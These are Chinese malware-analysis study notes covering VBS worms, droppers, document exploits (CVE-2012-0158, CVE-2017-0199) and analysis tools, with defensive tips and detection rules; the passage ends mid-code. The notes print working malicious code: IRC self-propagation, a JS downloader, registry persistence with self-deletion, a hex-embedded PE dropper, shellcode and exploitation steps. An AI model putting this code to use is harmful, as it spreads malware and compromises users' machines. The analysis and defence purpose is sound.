病毒之所以能够在 htm 文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒 FSO,WSH 等对象能够在网页中运行的关键。在注册表 HKEY_CLASSES_ROOT\CLSID\ 下我们可以找到这么一个主键 {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是 “Windows Script Host Shell Object”,同样,我们也可以找到 {0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是 “FileSystem Object”,一般先要对 COM 进行初始化,在获取相应的组件对象之后,病毒便可正确地使用 FSO、WSH 两个对象,调用它们的强大功能。代码如下所示:
1 2 3 4 5 6 7 Set Apple0bject = document.applets("KJ_guest") Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") Apple0bject.createInstance() ’创建一个实例 Set WsShell Apple0bject.Get0bject() Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") Apple0bject.createInstance() ’创建一个实例 Set FSO = Apple0bject.Get0bject()
4)通过 IRC 聊天通道传播
病毒通过 IRC 传播一般来说采用以下代码(以 MIRC 为例)
1 2 3 4 5 6 7 8 Dim mirc set fso=CreateObject("Scripting.FileSystemObject") set mirc=fso.CreateTextFile("C:\mirc\script.ini") ’创建文件script.ini fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True ’将病毒文件备份到attachment.vbs mirc.WriteLine "[script]" mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }" '利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件 mirc.Close
2.vbs 脚本病毒的弱点
vbs 脚本病毒由于其编写语言为脚本,因而它不会像 PE 文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。笔者认为,VBS 脚本病毒具有如下弱点:
1)绝大部分 VBS 脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript 代码是通过 Windows Script Host 来解释执行的。
3)VBS 脚本病毒的运行需要其关联程序 Wscript.exe 的支持。
4)通过网页传播的病毒需要 ActiveX 的支持
5)通过 Email 传播的病毒需要 OE 的自动发送邮件功能支持,但是绝大部分病毒都是以 Email 为主要传播方式的。
3.如何预防和解除 vbs 脚本病毒
针对以上提到的 VBS 脚本病毒的弱点,笔者提出如下集中防范措施:
1)禁用文件系统对象 FileSystemObject
方法:用 regsvr32 scrrun.dll/u 这条命令就可以禁止文件系统对象。其中 regsvr32 是 Windows\System 下的可执行文件。或者直接查找 scrrun.dll 文件删除或者改名。
还有一种方法就是在注册表中 HKEY_CLASSES_ROOT\CLSID\ 下找到一个主键 {0D43FE01-F093-11CF-8940-00A0C9054228} 的项,咔嚓即可。
2)卸载 Windows Scripting Host
在 Windows 98 中(NT 4.0 以上同理),打开[控制面板]→[添加 / 删除程序]→[Windows 安装程序]→[附件],取消 “Windows Scripting Host” 一项。
和上面的方法一样,在注册表中 HKEY_CLASSES_ROOT\CLSID\ 下找到一个主键 {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} 的项,咔嚓。
3)删除 VBS、VBE、JS、JSE 文件后缀名与应用程序的映射点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除 VBS、VBE、JS、JSE 文件后缀名与应用程序的映射。
4)在 Windows 目录中,找到 WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治 VBS 网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里 “Internet 选项” 安全选项卡里的[自定义级别]按钮。把 “ActiveX 控件及插件” 的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个 ActiveX 组件如果不能运行,网络传播这项功能就玩完了。
6)禁止 OE 的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows 默认的是 “隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为 “中等”,它可以在一定程度上预防某些有害的 Java 程序或者某些 ActiveX 组件对计算机的侵害。
# AST 语法树
文本 -> 抽象语法树的过程
词法分析:文本 -> token 列表
去除空格,对 token 分类,去除空格,然后对 token 分类,那些属于语法关键字,那些属于操作符,那些属于语句的截止位置,那些属于数据
语法分析:token 列表 -> 语法二叉树
扫描 token 流,然后分析它的语法,这一步应该是分析一条以;结尾的语句具体的执行规则,然后使用逆波兰表达式组合,最后形成一个二叉树,二叉树从底部往上一步步合并
第一步:词法分析,也叫扫描 scanner 它读取我们的代码,然后把它们按照预定的规则合并成一个个的标识 tokens。同时,它会移除空白符、注释等。最后,整个代码将被分割进一个 tokens 列表(或者说一维数组)。
1 2 3 const a = 5 ;[{value: 'const' , type: 'keyword' }, {value: 'a' , type: 'identifier' }, ...]
当词法分析源代码的时候,它会一个一个字母地读取代码,所以很形象地称之为扫描 - scans。当它遇到空格、操作符,或者特殊符号的时候,它会认为一个话已经完成了。 第二步:语法分析,也称解析器 它会将词法分析出来的数组转换成树形的形式,同时,验证语法。语法如果有错的话,抛出语法错误。
1 2 3 4 5 6 7 8 9 10 [{value: 'const' , type: 'keyword' }, {value: 'a' , type: 'identifier' }, ...] { type: "VariableDeclarator" , id: { type: "Identifier" , name: "a" }, ... }
当生成树的时候,解析器会删除一些没必要的标识 tokens(比如:不完整的括号),因此 AST 不是 100% 与源码匹配的。 解析器 100% 覆盖所有代码结构生成树叫做 CST(具体语法树)。
抽象语法树(AST)入门 - 掘金 (juejin.cn)
# VBS 脚本解释器
windows script host
wscript.exe
1 2 3 4 // 1.vbs wscript.exe -x 1.vbs Set fso = CreateObject("scripting.filesystemobject") set myfile = fso.CreateTextFile("C:\1.txt",,true)
# EDR & HIPS
EDR(终端检测与响应)和传统杀毒软件有什么区别? - 知乎 (zhihu.com)
# js 下载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var objArgs=WScript.Arguments; var sGet=new ActiveXObject("ADODB.Stream"); var xGet=null; try{ xGet=new XMLHttpRequest(); }catch(e){ try{ xGet=new ActiveXObject("Msxml2.XMLHTTP"); }catch(ex){ try{ xGet=new ActiveXObject("Microsoft.XMLHTTP"); }catch(e3){ xGet=null; } } } if(xGet != null){ xGet.Open("GET","http://localhost/aplan/mycalc.exe",0); xGet.Send(); sGet.Mode=3; sGet.Type=1; sGet.Open(); sGet.Write(xGet.ResponseBody); sGet.SaveToFile("D:\\haha.exe",2); }
定位:
var sGet=new ActiveXObject(“ADODB.Stream”);
xGet=new XMLHttpRequest();
xGet.Open(“GET”,"",0);
# 规则提取与查杀方式
1 2 3 4 5 6 7 8 9 10 11 12 dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "%windir%\flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject("WScript.Shell") sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" //写进注册表项实现自启动 set WshShell=WScript.CreateObject("WScript.Shell") WScript.Sleep 2000 //等木马的执行完毕 Set fso=CreateObject("Scripting.FileSystemObject") f=fso.DeleteFile ("flumasko.exe") f=fso.DeleteFile (WScript.ScriptName)
规则:
模型 A:添加注册表启动
set wsh=CreateObject(“WScript.Shell”)
sm.RegWrite “HKLM\SOFTWARE*”,“Explorer.exe %systemroot%\system32\winmgmt.exe”
规则 B:删除宿主程序
f=fso.DeleteFile (“flumasko.exe”)
f=fso.DeleteFile (WScript.ScriptName)
# 二进制 vbs
1 2 3 4 5 6 7 8 9 10 11 12 13 <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF253 Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT>
通过十六进制编辑器还原为 exe
# 基于 VBS 木马攻击链分析
CreateProcessW && kernel32!CreateProcessInternalW 下段
此次攻击的特点为:在投放木马时伪装成各类软件的安装包,在最终植入的木马运行时又伪装正常软件的进程名,用来下载恶意脚本代码及病毒木马的服务器是攻击者入侵后控制的某些色情和酒店网站服务器,“伪装者 “木马还会使用短链接地址、服务器校验等方法来躲避分析人员的追踪。
在整个攻击过程中使用大量网民熟悉的软件名称来命名木马文件,通过攻击其他网站来下载自己的恶意程序,十分善于隐藏和伪装自身,因此我们将其命名为 “伪装者” 木马。
# 基于恶意代码的机器学习引擎
要想检测恶意代码,首先我们必须对其进行特征提取,但是恶意代码的特征向量的维度是非常高的,在计算机中处理起来,计算速度会非常的慢,但是也不必担心,能够检测出恶意代码是否恶意,影响较大的仅仅是几个特征,为此,在进行分类学习之前我们需要对其进行数据预处理,编写这一段代码的作者,采用预先剔除无关影响的特征向量,留下影响较大的特征向量!已达到分类准确的目的,本篇博客是基于机器学习恶意代码检测之数据预处理的第四种处理方法
机器学习是指,概念定义在实例集合上,这个集合表示 X
待学习的概念或目标函数成为目标概念(target concept),记作 c
x:每一个实例
X:样例,所有实例的集合
学习目标:f:X->Y
简单理解:通过训练大量的样本 x 组成的样本集 X,提取样本中的规则 f,得到一个目标结果 Y
训练集 (training set/data)/ 训练样例 (training examples): 用来进行训练,也就是产生模型或者算法的数据集
测试集 (testing set/data)/ 测试样例 (testing examples): 用来专门进行测试已经学习好的模型或者算法的数据集
特征向量 (features/feature vector): 属性的集合,通常用一个向量表示,附属于一个实例。每一个样例都有自己不同的属性,不同的属性用不同的属性值代表,多个属性值组合在一起就可以用一个向量来表示。这个向量就称之为特征向量。
# 文档类恶意文件
# CVE-2012-0158
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖
CVE-2012-0158 漏
洞发生在 MSCOMCTL.OCX 模块,在一段内存拷贝时,由于检查条件错误造成基于栈的缓冲区溢出。
office 类的程序可以下断在 wineexec 和 CreateProcess
# 自定义 payload 中 shellcode 调试方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 #include<stdio.h> #define EM(x) _asm _emit x extern "C" int shellcode_start(); _declspec(naked) int shellcode_entry() { _asm { nop nop nop nop nop jmp shellcode_start nop } } //获取Kernel32基地址 _declspec(naked) int GetKernel32Base() { _asm { push esi mov esi,dword ptr fs : [0x30]//1.FS:[0x30]获取PEB mov esi,[esi + 0xc]//2.指向PEB_LDR_DATA结构指针 mov esi,[esi + 0x1c]//3.模块链表指针 mov esi,[esi]//4.获取第一个链表结构 mov esi,[esi]//5.获取模块链表第二个条目,一般是kernel32或者kernelbase(win7以下) mov eax,[esi+0x8]//6.获取基址,kernel32或者kernelbase pop esi ret } } //求字符串Hash值 _declspec(naked) int GetStringHash(const char* szString) { _asm { push ebp mov ebp,esp push esi push edx xor edx,edx xor eax,eax mov esi,[ebp+8]//获取参数,即字符串 GetStringHash_Loop: lods byte ptr [esi] //获取字符串一个字节 test al,al je GetStringHash_Exit//直到遇到0退出循环 rol edx,0x3//求hash xor dl,al//求hash jmp GetStringHash_Loop GetStringHash_Exit: xchg eax,edx//将结果保存在eax pop edx pop esi mov esp,ebp pop ebp retn 4 } } _declspec(naked) int GetHashAndCmpHash(const char*strFunName,int nHash) { _asm { push ebp mov ebp,esp push ebx push edx mov eax,[ebp+0x8]//参数1:ebp+0x8 strFunName push eax call GetStringHash mov ebx,eax xor eax,eax mov edx,[ebp+0xc]//参数2 hash cmp ebx,edx//比较字符串的hash值 jne GetHashAndCmpHash_End//不等返回0 mov eax,0x1//相等返回1 GetHashAndCmpHash_End: pop edx pop ebx mov esp,ebp pop ebp retn 8 } } //根据hash值 寻找指定模块的 函数地址 _declspec(naked) int GetAddrFromHash(int nHash,int nImageBase) { _asm { push ebp mov ebp,esp sub esp,0xc//申请局部空间 push edx //1.获取EAT/ENT/EOT地址 mov edx,[ebp+0xc] //imageBase mov esi,[edx+0x3c]//esi=IMAGE_DOS_HEADER.e_lfanew lea esi,[edx+esi]//pe文件头 mov esi,[esi+0x78]//esi=IMAGE_EXPORT.VirtualAddress lea esi,[edx+esi]//esi=导出表首地址 //EAT mov edi,[esi+0x1c]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfFunctions lea edi,[edx+edi]//EAT首地址 mov [ebp-0x4],edi//EAT //ENT mov edi,[esi+0x20]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfNames lea edi,[edx+edi]//ENT首地址 mov [ebp-0x8],edi//ENT //EOT mov edi,[esi+0x24]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfNamesOrdinals lea edi,[edx+edi]//EOT首地址 mov [ebp-0xc],edi//EOT //2.循环对比ENT中的函数名 xor ecx,ecx//数组下标 jmp Loop_FirstCmp Loop_FunName: inc ecx Loop_FirstCmp: mov esi, [ebp - 0x8]//ent mov esi, [esi + ecx * 4]//ENT rva mov edx, [ebp + 0xc]//imageBase lea esi, [edx + esi]//ENT va(第一个函数名) push[ebp + 0x8]//nHash push esi//strFun call GetHashAndCmpHash test eax, eax je Loop_FunName //3.成功后找到对应序号 mov esi, [ebp - 0xc]//EOT xor edi, edi mov di, [esi + ecx * 2]//取EOT[i] //4.在EAT中找到对应函数地址 mov esi, [ebp - 0x4]//EAT mov edi, [esi + edi * 4]//EAT[EOT[i]] rva mov edx, [ebp + 0xc]//imageBase //5.返回地址 lea eax, [edx + edi]//EAT VA函数地址 pop edx mov esp,ebp pop ebp retn 8 } } _declspec(naked) int shellcode_start() { _asm { push ebp mov ebp,esp sub esp,0x30 jmp zero_code nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop zero_code: jmp code_start //ebp-0x10(28) len:7"user32/0" EM(0x75) EM(0x73) EM(0x65) EM(0x72) EM(0x33) EM(0x32) EM(0x00) //ebp-0x0c(17) len:12"Hello World/0" EM(0x48) EM(0x65) EM(0x6C) EM(0x6C) EM(0x6F) EM(0x20) EM(0x57) EM(0x6F) EM(0x72) EM(0x6C) EM(0x64) EM(0x00) code_start: call code_pop code_pop: pop eax sub eax,0x18 mov [ebp-0x2C],eax //保存user32地址 add eax,0x7 mov [ebp-0x28],eax//保存Hello World地址 //1.获取Kernel32基地址 call GetKernel32Base mov [ebp-0x24],eax //2.获取GetProcAddress地址 push eax push 0xf2509b84 call GetAddrFromHash mov [ebp-0x20],eax //3.获取LoadLibraryA地址 push [ebp-0x24] push 0xa412fd89 call GetAddrFromHash mov [ebp-0x1c],eax //4.获取user32基地址 push [ebp-0x2c] call [ebp-0x1c] mov [ebp-0x18],eax //5.获取MessageBoxA地址 push eax push 0x14d14c51 call GetAddrFromHash mov [ebp-0x14],eax //6.调用MessageBoxA地址 push 0 push 0 push [ebp-0x28] push 0 call [ebp-0x14] //7.获取ExitProcess地址 push [ebp-0x24] push 0xe6ff2cb9 call GetAddrFromHash //8.调用ExitProcess push 0 call eax retn } } int main() { shellcode_entry(); return 0; }
# CVE-2017-0199
word 在处理内嵌 OLE2LINK 对象时,通过网络更新对象时没有正确处理的 Content-Type 所导致的逻辑漏洞。
根据微软官方 MS15-33 安全公告里显示,这个漏洞覆盖 2007 SP3,2010 SP1、SP2,2013,2013 RT;Word Viewer;Office Compatibility Pack SP3;Office for Mac 2011;Word Automation Services on SharePoint Server 2010 SP1、SP2、2013;Office Web Apps 2010 SP1 and SP2;Office Web Apps Server 2013。
漏洞利用
word 在处理内嵌 OLE2LINK 对象时,对多媒体对象的类型没有检查。服务端返回一个 hta 类型数据被 WORD 调用 COM 接口创建 mshta.exe 直接运行。
由于该漏洞是 word 逻辑漏洞,利用起来相对容易,通过在文档中点击插入对象,设置对象地址,然后选择 “链接到文件”,点击确认,这样便可以插入一个 OLE 对象。
然后把服务端的 “test.rtf” 文件内容修改为一个 html 脚本文件。
并且修改服务端 mime 类型,原本 “.rtf” 的 Mime 类型为 “application/rtf”,修改为 “application/rtf hta”。
此时点击文档中的 ole 对象,就能运行服务器中的脚本文件。接着在编辑文档中的”objlink” 对象,增加属性”\objupdate”,就能够让文档打开时直接触发利用 (虚拟机中很多都触发不了,2013、2016 触发比较稳定)。
四、 漏洞成因
Word 把远端数据下载到临时文件夹中,http 协议中的”content/type” 数据如下。
然后通过 Urlmon 模块中的 “GetClassFileOrMimeinternal” 函数获取运行该文件的 com 组件 CLSID。
“GetClassFileOrMimeinternal” 会优先通过”content/type” 获取 CLSID, 如果获取失败才会通过后缀名获取 CLSID。
此时获取到的 CLSID 为 “3050f4d8-98b5-11cf-bb82-00aa00bdce0b”,然后调用 “CoCreateInstanceForObjectBinding” 创建一个 COM 实例,该 COM 对象就是 “mshta.exe” 程序,最后传递数据,直接 html 脚本。
该漏洞的成因和利用相对简单,只需要几个操作就可以形成一个利用。最后在看一下微软修改补丁:
在 “CoCreateInstanceForObjectBinding” 创建了一个 “FilterActivation” 函数,增加了一个 “g_ActivationFilter” 对象,在该函数中调用 “g_ActivationFilter” 虚表 + 12 位置的虚函数,把 CLSID 作为参数。
找到 “g_ActivationFilter” 的初始化位置,该函数由 MSO 模块调用。
MSO 模块初始化该过滤对象,该对象是一个全局对象,找到该对象的虚表,如下图。
在虚表中 + 12 位置的虚函数伪代码如下,在前面调用中,第三个参数是 CLSID,说明下面两次比较应该是检查 CLSID。
这两个 CLSID 经过分析后,发现为脚本对象和 hta 对象的 ID。微软通过检查 CLSID,过滤脚本对象和 HTA 对象,目前只有这两个对象,如果以后发现有新的威胁,也方便以后扩展
# PE 类恶意程序分析
# PEDoll
调试机运行,控制器连接
常用脚本中为规则中加载的脚本
PeDoll 是一款基于 inline Hook 的程序行为分析软件,主要包括以下功能
1. 对关键 API 调用进行 Hook 生成报表,监视程序行为
2. 运行时修改程序执行代码
3. 程序的网络抓包,写入数据的 Dump
4. 软件实现的自旋锁断点,方便与 OllyDbg 联合调试
5. 分析目标程序的内存,分析栈数据实现破解.
PeDoll 主要面向逆向分析初学者或者是具有一定编程逆向基础的 Cracker, 旨在简化逆向分析工作,可以在一定程度上对一些具有反逆向功能的恶意程序 (加壳,加花,反调试器) 简化分析难度或实现自动化分析
PeDoll 是基于简单脚本 (命令) 控制的行为分析软件,通过对不同的程序编写不同的脚本实现特定的分析,同时 PeDoll 是一款远程分析调试器,这也意味着在对恶意程序分析中控制端和调试端分开进行是被建议的
其运行原理如下所示
命令:doll db <D:\Sample1.exe>
会更改函数头前五个字节
会在 exe 中加载自己的 dll
# PEDoll 源码分析
https://github.com/matrixcascade/PeDoll
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 int APIENTRY hook_WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, __in_bcount(nSize) LPCVOID lpBuffer, __in SIZE_T nSize, __out_opt SIZE_T * lpNumberOfBytesWritten ) { DWORD dwesp; _asm { mov dwesp,esp } sprintf(HookMessage, "%s <%08X> <%08X> <%08X> <%d>",PEDOLL_QUERY_WRITEPROCESSMEMORY,(DWORD)hProcess,(int)lpBaseAddress,(int)lpBuffer,nSize); int reply=MonitorQuery(HookMessage,dwesp); if (reply == PEDOLL_EXECUTE_PASS) { WriteProcessMemoryHooker.Unhook(); int st = WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer,nSize,lpNumberOfBytesWritten); WriteProcessMemoryHooker.Rehook(); return st; } if(reply==PEDOLL_EXECUTE_REJECT) { return 0; } if (reply==PEDOLL_EXECUTE_TERMINATE) exit(0); return FALSE; } APIHooker RegOpenKeyExAHooker; LSTATUS APIENTRY hook_RegOpenKeyExA( __in HKEY hKey, __in_opt LPCSTR lpSubKey, __in_opt DWORD ulOptions, __in REGSAM samDesired, __out PHKEY phkResult ) { DWORD dwesp; _asm { mov dwesp,esp } if (hKey == HKEY_CLASSES_ROOT) { sprintf(HookMessage, "%s <%s> <%s>",PEDOLL_QUERY_REGOPENKEYEXA, "HKEY_CLASSES_ROOT", lpSubKey); } if (hKey == HKEY_CURRENT_CONFIG) { sprintf(HookMessage, "%s <%s> <%s>",PEDOLL_QUERY_REGOPENKEYEXA, "HKEY_CURRENT_CONFIG", lpSubKey); } if (hKey == HKEY_CURRENT_USER) { sprintf(HookMessage, "%s <%s> <%s>",PEDOLL_QUERY_REGOPENKEYEXA, "HKEY_CURRENT_USER", lpSubKey); } if (hKey == HKEY_LOCAL_MACHINE) { sprintf(HookMessage, "%s <%s> <%s>",PEDOLL_QUERY_REGOPENKEYEXA, "HKEY_LOCAL_MACHINE", lpSubKey); } if (hKey == HKEY_USERS) { sprintf(HookMessage, "%s <%s> <%s>",PEDOLL_QUERY_REGOPENKEYEXA, "HKEY_USERS", lpSubKey); } int reply = MonitorQuery(HookMessage,dwesp); if (reply == PEDOLL_EXECUTE_PASS) { RegOpenKeyExAHooker.Unhook(); LSTATUS st= RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult); RegOpenKeyExAHooker.Rehook(); return st; } if(reply==PEDOLL_EXECUTE_REJECT) { return 0; } if (reply==PEDOLL_EXECUTE_TERMINATE) exit(0); return 0; }
# DLL 加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // 新建一个dll文件 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include <Windows.h> BOOL WINAPI Load() { return false; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxA(0,0,0,0); WinExec("calc.exe",SW_SHOW); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // 新建一个def导出 LIBRARY "Dllll" EXPORTS Load
判断 DLL 是否导出,用 OD 打开 ctrl+N
给 PE.dll 增加一个节,放入我们的 dll
DLL 会弹窗,此时用 od 附加 dllloader
# 通过 dll 导出函数进行加载调试
1 2 3 4 5 6 7 8 9 10 11 12 13 // 通过IDA F5源代码 // 在vc2008中调用 typedef BOOL (WINAPI* apiInstall)(int a1, BYTE *lpData, int a3, int a4); apiInstall MyInstall; int main() { MyInstall = (apiInstall)GetProcAddr(Loadlibrary("ser.dll"),"Install"); if(MyInstall) { BYTE *lData = NULL; MyInstall(0,lData,0,0); } }
在通过 OD 调,到 DLL 领空,即可分析 dll 所有功能
# 使用火绒 HIPS 进行快速分析
恶意软件 恶意软件(Malware)是指包括木马、后门、蠕虫、感染型病毒等在内的各种包含恶意 代码文件的统称。由于早期的恶意软件基本都属于感染型病毒,所以通常我们也将恶意软件 统称为病毒。 从 2007 年左右开始,得益于互联网的快速普及,恶意软件数量呈现快速增长的趋势。 传播方式也从之前的文件感染、局域网传播等传统方式迅速转变为通过社工、挂马等互联网 化的传播方式。早期常被应用于感染型病毒的代码多态、变形技术被应用于恶意软件生成器、 混淆器等,恶意软件作者通过混淆器不断快速迭代生成新恶意样本,以此来对抗安全软件的 查杀。 灰色软件 灰色软件一般指广告类(Adware)程序,这类程序往往会通过弹出广告等方式诱导、 欺骗甚至是恐吓用户以达到推广获利的目的。这类程序不属于一般意义上安全行业内对恶意 软件的定义,但却对用户正常使用电脑产生极坏的影响。 基于上述原因,不同安全软件也采取了不同的策略来进行应对,多数安全软件会把此类 程序识别为广告程序(Adware),或潜在不受欢迎程序 (Potentially Unwanted Application, 即 PUA),或类似卡巴斯基检出的病毒名以 not-a-virus: 开头的威胁。
火绒主动防御系统率先将单步防御和多步恶意监控相结合,不依赖白名单,消除了信任漏洞,自上而下地在所有可能的威胁入口设计独特的防御策略,共同有效地防御不同类型的恶意威胁。同时还能实时感知动态的系统级威胁行为信息,是终端威胁探针的重要组成部分。
该防御系统在文件、注册表、进程、网络这四个维度均设计了全面的防护规则,有效地针对操作系统的脆弱点进行防护。单步防御模块还开放了自定义规则功能,允许用户自行编写防护规则,制订适合自身需求的防御、隐私保护规则。
# EXE 恶意文件分析
https://s.threatbook.com/
基于多款反病毒引擎检测,快速检测已知威胁
利用虚拟化沙箱深度分析技术,实现恶意文件自动化、可定制化的行为分析,检测未知威胁
集成微步多个核心的高级情报分析系统,对文件运行过程中的网络、主机行为进行智能化的威胁判定,产出可直接用于失陷检测和应急分析的 IOC
支持识别和检测反沙箱恶意软件,防止恶意软件逃避虚拟机检查
情报 IOC
流量分析:
找程序入口:通过 IDA 打开,找到 WinMain 函数地址,在 OD 查找,段首下段
可以绕过异常链上中断的 OD 检测
通过 API 进行可疑行为,同样可以在 OD 中下段,找到函数调用
调用 Sleep 函数做延迟,绕过分析。
默认内存分页不可读不可写
遍历进程找杀软,OD BP CreateToolhelpSnapShot
查 PDB 可以获得文件编译日志,可以用于溯源取证
# 解密函数分析
定位到解密函数,直接用 IDA F5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 void __cdecl sub_401FB0(unsigned int *a1, signed int a2, int a3) { signed int v3; // ebx@1 int v4; // ecx@2 unsigned int v5; // eax@2 unsigned int v6; // esi@4 unsigned int v7; // ebp@4 unsigned __int8 v8; // bl@5 unsigned __int8 v9; // bl@6 signed int v10; // ebx@9 unsigned int v11; // ebp@9 unsigned int v12; // eax@9 int v13; // esi@11 int v14; // ebp@11 unsigned __int8 v15; // bl@12 unsigned __int8 v16; // bl@14 char v17; // dl@14 int v18; // esi@14 char v19; // cl@14 char v20; // bl@14 unsigned __int8 v21; // bl@14 char v22; // [sp+10h] [bp-8h]@4 int v23; // [sp+10h] [bp-8h]@9 int v24; // [sp+14h] [bp-4h]@2 int v25; // [sp+14h] [bp-4h]@9 signed int v26; // [sp+20h] [bp+8h]@9 v3 = a2; if ( a2 <= 1 ) { if ( a2 < -1 ) { v10 = -a2; v26 = v10; v25 = 52 / v10 + 6; v11 = -1640531527 * v25; v23 = -1640531527 * v25; v12 = *(BYTE *)a1; while ( 1 ) { v13 = v10 - 1; v14 = (v11 >> 2) & 3; if ( v10 != 1 ) { do { v15 = *((BYTE *)a1 + v13) - (((v12 ^ v23) + (*((BYTE *)a1 + v13 - 1) ^ *(BYTE *)(a3 + 4 * (v14 ^ v13 & 3)))) ^ ((4 * v12 ^ (*((BYTE *)a1 + v13 - 1) >> 5)) + (16 * *((BYTE *)a1 + v13 - 1) ^ (v12 >> 3)))); *((BYTE *)a1 + v13) = v15; v12 = v15; --v13; } while ( v13 ); v10 = v26; } v16 = *((BYTE *)a1 + v10 - 1); v17 = (4 * v12 ^ (v16 >> 5)) + (16 * v16 ^ (v12 